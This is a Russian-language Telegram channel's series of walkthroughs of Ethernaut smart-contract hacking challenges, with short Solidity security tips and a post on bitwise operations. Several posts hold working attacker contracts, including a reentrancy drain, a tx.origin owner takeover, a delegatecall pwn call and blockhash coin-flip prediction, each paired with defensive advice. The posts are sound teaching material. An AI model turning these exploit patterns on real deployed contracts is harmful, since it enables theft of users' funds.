Solidity. Смарт контракты и аудит – Telegram
Solidity. Смарт контракты и аудит
2.62K subscribers
246 photos
7 videos
18 files
547 links
Обучение Solidity. Уроки, аудит, разбор кода и популярных сервисов
Download Telegram
Ethernaut. Задача 2. Fallout

В этой задаче нам нужно забрать права ownership.
Ссылка на задачу

Задача не актуальная после выхода версии Solidity 0.8.

В чем суть?

Ранее, до версии 0.8.0, не существовало функции constructor, и она заменялась другой функцией с именем, как у контракта.

В данной задаче в функции выполняющей роль конструктора есть опечатка, поэтому вызвав эту функцию, вы автоматически становились владельцем.

#ethernaut
👍2
Ethernaut. Задача 3. Coin flip

В этой задаче нам нужно угадать сторону монетки 10 раз подряд.
Ссылка на задачу

В чем суть?

Казалось бы, предугадать падение монетки на какую-либо сторону, является задачей с вероятностью 50/50, особенно учитывая рандомное число в Factor.

Однако в Solidity большие проблемы со случайными числами, особенно теми, которые основаны на block.number.

Мы можем написать свой контракт, который будет предугадывать сторону. Как раз за счет block.number и проведения транзакции в одном блоке, мы сможем предсказать сторону.

Простой контракт может выглядеть так:

contract Hack {
   using SafeMath for uint256;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  function hack (CoinFlip _flip) external{
     uint256 blockValue = uint256(blockhash(block.number.sub(1)));
     uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;
    _flip.flip(side);
  }
}

В общем, никогда не создавайте случайные числа, используя средства Solidity и block.number. Для этого лучше подключать сторонние сервисы, типа Chainlink VRF.

#ethernaut
👍2
Ethernaut. Задача 4. Telephone

В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу

В чем суть?

tx. origin - это такая штука, которую никогда не стоит использовать в своих смарт контрактах, если не понимаешь зачем. А лучше не использовать ее, даже если понимаешь зачем.

В данной задаче нам также нужно создать промежуточный контракт и пробросить наш личный адрес.

contract Hack {
  function hack (Telephone _tel) external {
    _tel.changeOwner(0x617F2E2fD72FD9D5503197092aC168c91465E7f2);
  }
}

Получает так: мы, являемся tx.origin, через наш контракт, который является msg.sender, отправляем запрос в Telephone и вызываем функцию changeOwner(). И так как функция вызывается не нами (нашим адресом) напрямую, а нашим контрактом, то мы становимся новым владельцем.

tx.origin отстой - не используй его. Я встречал информацию, что в последующих версиях Solidity tx будет упразднен.

#ethernaut
👍1
Ethernaut. Задача 5. Token

В этой задаче нам нужно вывести с контракта как можно больше токенов.
Ссылка на задачу

В чем суть?

Задача также не актуальна для версии старше 0.8, так как тут уже есть защита от overflow и underflow.

Проблема была в том, что попытавшись перевести больше 20 токенов, которые есть на счету, система переходила в overflow и сумма получался перевод около ~250 токенов. Однако в 0.8 теперь такая операция будет выдавать ошибку, если нет unchecked.

#ethernaut
👍2
Подсказки по безопасности - 1

Постепенно я буду разбирать файлы из приведенного выше roadmap и делать посты с подсказками по безопасности.

В данных статьях, файлах и рекомендациях, часто встречаются разборы конкретных контрактов и их функций. Сидеть над каждым отдельным случаем не вижу смысла, так как придется изучать и сам контракт и логику выполнения транзакций. Это будет очень затратно по времени и не факт, что пробема останется актуальной для других контрактов. Поэтому я буду выкладывать общие рекомендации по безопасности, которые могут пригодиться в работе.

Подсказка 1

Токены, у которых decimals больше 18, могут стать проблемой.

Считается, что максимальное значение decimals любого токена равен 18. Однако есть другие токены, типа YAMv2, у которых decimals равен 24. Это может привести к проблемам с выполнениями расчетов в функциях. Поэтому нужно проверять, чтобы контракт смог обрабатывать не стандартные значения decimals.

#security #tip #st
👍1
Ethernaut. Задача 6. Delegation

В этой задаче нам нужно стать владельцем контракта.
Ссылка на задачу

В чем суть?

Тут нужно знать о работе delegatecall, fallback и низкоуровневых вызовах, и тогда задача кажется простой.

Функция fallback вызывается тогда, когда с другого контракта пришла транзакция, которая пытается вызвать функцию, которой нет в данном контракте. А delegatecall выполняет функцию стороннего контракта в рамках своего же контракта. Звучит запутано, но на практике все проще:

Мы создаем свой хакерский контракт, через низкоуровневый вызов пытаемся запустить функцию pwn() в Delegation. Но так как там нет такой функции, вызов попадает в fallback, и уже там, в рамках delegatecall и вызывается pwn() из Delegate , которая отдает нам права владельца.

Самый простой хакерский контракт может выглядеть так:

contract Hack {
function hack (address _deleg) external {
_deleg.call(abi.encodeWithSignature("pwn()"));
}
}

Я уже писал ранее и повторюсь: с delegatecall нужно быть очень и очень осторожным! Используйте ее только если наверняка знаете, как она будет работать!

#ethernaut
👍1
Ethernaut. Задача 7. Force

В этой задаче нам нужно пополнить баланс контракта.
Ссылка на задачу

В чем суть?

Даже если в контракте нет никаких функций для приема денег или вообще ничего нет, на него можно прислать деньги двумя способами:

1) Это перечисление награды за майнинг;
2) Вызов selfdestruct;

Вот простой пример контракта хакера:

contract Hack {
  function destroy (address payable destr) external {
    selfdestruct(destr);
  }
  receive() external payable{}
}

Он вызывает у себя функцию уничтожения, которая пересылает все деньги на адрес указанного контракта. receive() нужна для того чтобы изначально пополнить баланс нашего контракта.

Вообще пример с selfdestruct является одним из самых популярных методов атаки - Force feeding, о которой можно прочитать в предыдущих постах на канале. 

#ethernaut
👍2
Ethernaut. Задача 8. Vault

В этой задаче нам нужно открыть сейф.
Ссылка на задачу

В чем суть?

На самом деле эта задача заставила меня посидеть в поиске дольше остальных, и вот почему.

Да, я знаю, что любые private переменные на самом деле можно прочитать. Для этого стоит развернуть его в локальной сети, например в hardaht, и вызвать метод ether.provider.getStorageAt(address, slot), но меня заинтересовал вопрос, а можно ли напрямую из контракта считать слоты памяти в другом контракте, например, через assembly.

Ответ, нет. Напрямую это сделать нельзя. По крайней мере даже средне сложным способом. Я такой вариант нигде не нашел. Конечно, всегда есть вероятность, что кто-то знает язык настолько хорошо, что может считать память каким-то неизвестным способом, но для обычных людей проще использовать ethers.js.

Итак, вам нужно задеплоить контракт в тестовую сеть, передав аргументы в конструктор через [hre.ethers.utils.formatBytes32String('yourPassword')], а потом в тестах или консоли вызвать метод getStorageAt() на второй слот, так как переменная private password лежит именно там.

#ethernaut
👍2
Ethernaut. Задача 9. King

В этой задаче нам предлагают, как я понял, сломать логику игры, чтобы мы остались последним королем.
Ссылка на задачу

В чем суть?

Здесь секрет кроется в king.transfer(msg.value), т.е. в одной транзакции отправляются деньги королю, и только потом идет обновление переменных короля и баланса.

Сделав так, чтобы можно было отправить деньги на контракт, но не получить выигрыш, мы фактически заблокируем его.

Решением было бы разделить эту логику и позволить текущему королю выводить деньги вручную.

Простой код для этого:

contract Hack {
    function hack( address _king) external payable {
      _king.call{value:msg.value}("");
    }
}

Я думал, что можно решить эту задачу с selfdestruct, как в одном из примеров выше, но это не сработало. Деньги то не балансе контракта King появились, а вот переменная prize не обновилась. А все потому, что мы закинули деньги без вызова каких-либо функций, поэтому receive не сработала.

#ethernaut
Ethernaut. Задача 10. Reentrancy

В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу

В чем суть?

С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.

Опять же привожу пример кода, который сработал у меня:

contract Hack {
   
    uint constant BID = 0.1 ether;
    Reentrance hack;

    constructor(address payable _hack) {
        hack = Reentrance(_hack);
    }

    function donateTo() external payable{
      address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
    }

    function attack() public {
      address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
    }

    receive() external payable {
        if(address(hack).balance >= BID) {
            attack();
        }
    }
}

В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.

Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.


#ethernaut
👍2
Подсказки по безопасности - 2

Неконтролируемое значение return в функциях transfer и transferFrom.

Выполнение функций ERC20 не всегда последовательное. Некоторые исполнения transfer / transferFrom могут вернуть false на неуспешную транзакцию вместо отката (revert). Поэтому его обязательно нужно обрабатывать в require().

Также нужно следить и за true в return, как это рекомендует сам стандарт. В некоторых случаях, вызов transfer() будет revert, даже если транзакция пройдет успешно. Это случается потому, что Solidity проверяет RETURNDATASIZE на соответствие интерфейсу ERC20.

Рекомендация. Проверяйте значение return / revert на 0 / false / true или используйте SafeERC20 от OpenZeppelin.


#security #tip #st
👍1
Подсказки по безопасности - 3

Отсутствие процедуры проверки ввода значений.

В своих функциях желательно проверять, что:

- uint больше 0;
- uint имеет ограничения;
- int не может иметь отрицательное значение;
- длина массива должна совпадать, когда он передается как аргумент;
- адрес не должен быть 0х0;

#security #tip #st
Ethernaut. Задача 11. Elevator

В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу

В чем суть?

Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.

contract Hack {
Elevator challenge;

constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;

function attack() external payable {
challenge.goTo(0);
}

function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}

Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.


!!! Комментарий от участника Nekto проливает свет на эту задачу:

Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator

Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.

Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.

#ethernaut
👍1
Ethernaut. Задача 12. Privacy

В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу

В чем суть?

Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.

Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.

bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.

uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.

Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.

Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.

Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.

Если разбить все по слотам памяти, то получается:

bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;

А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().

#ethernaut
👍1
Подсказки по безопасности - 4

Использовать фиксированные лимиты газа не рекомендуется.

Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.

В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.

#security #tip #st
👍1
Подсказки по безопасности - 5

Оценивайте все токены прежде, чем начнете работать с ними в контракте.

Например, в ERC777 есть callback функция, которая может позволить хакеру выполнить вредоносный код во время проведения транзакции.

#security #tip #st
👍1
Подсказки по безопасности - 6

Pragma и версии Solidity.

Использование последних версий Solidity позволяет избегать ошибок и багов, которые встречались в более ранних версиях.

Также нужно обращать внимание на то, чтобы все контракты, которые связаны друг с другом, работали с одной и той же версией языка.

При деплое смарт контрактов рекомендуется блокировать версию pragma (убирать значок ^), для избегания загрузки не правильным компилятором (выше или ниже версии вашего контракта).

#security #tip #st
👍1
Подсказки по безопасности - 7

Не защищенная withdraw() функция (external \ public) может позволить злоумышленникам переводить деньги и токены с вашего контракта.

#security #tip #st
👍1
Ethernaut. Задача 14. Gatekeeper 2

Отступление. Чем больше я разбираю задачи, тем яснее понимаю, что еще многого не знаю. Поэтому некоторые задачи я сейчас пропущу и вернусь к ним, как пройду остальные. Например, с gatekeeper 1 я вчера долго возился, разобрал, но не понял как объяснить ее, и значит "не понял".

Но вернемся к Gatekeeper 2.

В этой задаче нам нужно пройти через все проверки, чтобы наш адрес записался в переменную entrant.
Ссылка на задачу

В чем суть?

Первые два модификатора пройти достаточно просто. GateOne - сделан по примеру задачи Telephone, а gateTwo, с его "ужасным" assembly {x := extcodesize(caller())} - просит, чтобы байткод нашего контракта был равен 0, что бывает в том случае, если там нет никаких функций. Кстати, на extcodesize нельзя полагаться в вопросе безопасности! Не делайте так!

С обоими "воротами" мы можем справиться, вызвав constructor в нашем контракте на GatekeeperTwo.

С третьими воротами сложнее.

Требуется выполнить равенство:

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1

Т.е. мы берем адрес вызывающего функцию, кодируем, получаем хеш через keccac256, потом берем первые 8 байтов. Все это оборачиваем в uint64 и... Приводим к равенству.

Но, что обозначает эта каретка "^". И тут, если не знаешь, то не пройдешь дальше.

А означает она - XOR, или сложение по модулю 2, или исключающее "или". Звучит замысловато, но по сути это побитовое сложение, когда отдельные разряды складываются независимо от других. Например, у нас есть такой порядок бит:

010101

И нужно сложить его с этим

101101

У нас получится:

111000

т.е. "1+1"= 0, "1+0"=1, "0+0"=0.

Самое интересное, что, если мы сложим результат, например со вторым значением, то получим первое. Это мы и должны использовать в задаче.

Получается, что:

uint64(_gateKey) будет равен

uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1

Отсюда мы можем получить итоговый контракт для взлома:

contract Hack {
constructor (GatekeeperTwo _gates ) {
bytes8 key;
unchecked {
key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
}
_gates.enter(key);
}
}

P.S. unchecked нужен для Solidity 0.8, для защиты от overflow в uint64(0) - 1.

Задача может показаться сложной, если не знаешь про эти побитовые операции. А сколько людей вообще про них знает?!

#ethernaut
1
Логические побитовые операции

Я встречал уже несколько примеров с побитовым кодом, поэтому решил сделать небольшой пост об этом. Возможно, кому-то он тоже будет полезен.

Побитовое И - символ &

Побитовое И используется для выключения битов. Любой бит, установленный в 0, вызывает установку соответствующего бита результата также в 0.

11001010
11100010
11000010

Побитовое ИЛИ - символ |

Побитовое ИЛИ используется для включения битов. Любой бит, установленный в 1, вызывает установку соответствующего бита результата также в 1.

11001010
11100010
11101010

Побитовое НЕ - символ ~

Побитовое НЕ инвертирует состояние каждого бита исходной переменной.

11001010
00110101

Побитовое исключающее ИЛИ - символ ^

Исключающее ИЛИ устанавливает значение бита результата в 1, если значения в соответствующих битах исходных переменных различны.

11001010
11100010
00101000

Побитовые сдвиги

Операторы сдвига  <<  и  >>  сдвигают биты в переменной влево или вправо на указанное число. При этом на освободившиеся позиции устанавливаются нули (кроме сдвига вправо отрицательного числа, в этом случае на свободные позиции устанавливаются единицы, так как числа представляются в двоичном дополнительном коде и необходимо поддерживать знаковый бит).

Сдвиг влево может применяться для умножения числа на два, сдвиг вправо — для деления.

x = 7         // 00000111 (7)
x = x >> 1    // 00000011 (3)
x = x << 1    // 00000110 (6)
x = x << 5    // 11000000 (-64)
x = x >> 2    // 11110000 (-16)

#побитовые #бит #операции #сдвиг #xor
Ethernaut. Задача 15. Naught Coin

В этой задаче нам нужно вывести все токены со своего баланса.
Ссылка на задачу

В чем суть?

Задача не столько про кодинг, сколько про знание стандарта ERC20. При том, что на функцию transfer() стоит защита по времени в виде модификатора, все равно нам доступны и другие функции контракта ERC20.

В Ремиксе это можно увидеть, сделав деплой. Поэтому нам достаточно вызвать функцию approve() и затем transferFrom() для решения данной задачи. Краткая функция взлома может выглядеть так:

function hack() external{
balance = challenge.balanceOf(myAdd);
challenge.approve(myAdd, balance);
challenge.transferFrom(myAdd, otherAdd, balance);
}

где challenge это объект контракта.

При взломе контрактов, которые используют различные стандарты, сначала нужно изучить сам стандарт, чтобы понять все возможности для транзакций.

#ethernaut
👍1